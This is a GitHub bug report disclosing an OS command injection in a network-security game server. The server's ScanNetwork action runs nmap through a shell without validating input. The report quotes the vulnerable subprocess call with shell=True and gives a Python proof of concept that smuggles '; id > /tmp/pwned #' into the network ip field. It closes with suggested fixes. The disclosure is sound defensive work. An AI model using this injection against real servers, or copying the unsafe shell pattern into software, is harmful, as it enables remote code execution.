Skip to content

[Bug]: OS command injection in RealWorldNetSecGame ScanNetwork allows agent-triggered RCE #482

@verovaleros

Description

@verovaleros

Bug Description

RealWorldNetSecGame._execute_scan_network_action_real_world() builds a shell command by interpolating action.parameters['target_network'] directly into an f-string and executes it with subprocess.run(..., shell=True).

Relevant code in netsecgame/game/worlds/RealWorldNetSecGame.py:54-55:

command = f"nmap -sn {action.parameters['target_network']} -oX {nmap_file_xml}"
_ = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)

The target_network value is parsed as Network (Action.from_dict), but Network.ip is an unvalidated string in netsecgame/game_components.py:128-137 and __str__ returns "{self.ip}/{self.mask}". This allows command separators in ip to flow into the shell command.

This enables agent-controlled OS command execution on the server process (RCE).

Secondary hardening gap that amplifies impact: _dispatch_action in netsecgame/game/coordinator.py:285-298 routes all game action types through _process_game_action without role-based action authorization checks.

Steps to Reproduce

  1. Start the game server with the RealWorldNetSecGame world:
python3 -m netsecgame.game.worlds.RealWorldNetSecGame \
  --task_config=./examples/example_task_configuration.yaml \
  --game_port=9000
  1. Connect an agent and send crafted ScanNetwork input:
import socket, json

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 9000))

join = {
    "action_type": "JoinGame",
    "parameters": {
        "agent_info": {"name": "RogueAgent", "role": "Attacker"}
    }
}
sock.sendall(json.dumps(join).encode())
sock.recv(8192)

exploit = {
    "action_type": "ScanNetwork",
    "parameters": {
        "source_host": {"ip": "213.47.23.195"},
        "target_network": {
            "ip": "127.0.0.1; id > /tmp/pwned #",
            "mask": 24
        }
    }
}
sock.sendall(json.dumps(exploit).encode())
sock.recv(8192)
  1. On the server, check /tmp/pwned.

Expected Behavior

  1. Network.ip should be validated (same security posture as IP.__post_init__).
  2. subprocess.run should avoid shell=True and pass arguments as a list.
  3. Coordinator should enforce role-based action authorization.

Version

0.1.0

Installation / Deployment Method

Running locally from source

Metadata

Metadata

Assignees

Labels

bugSomething isn't working

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions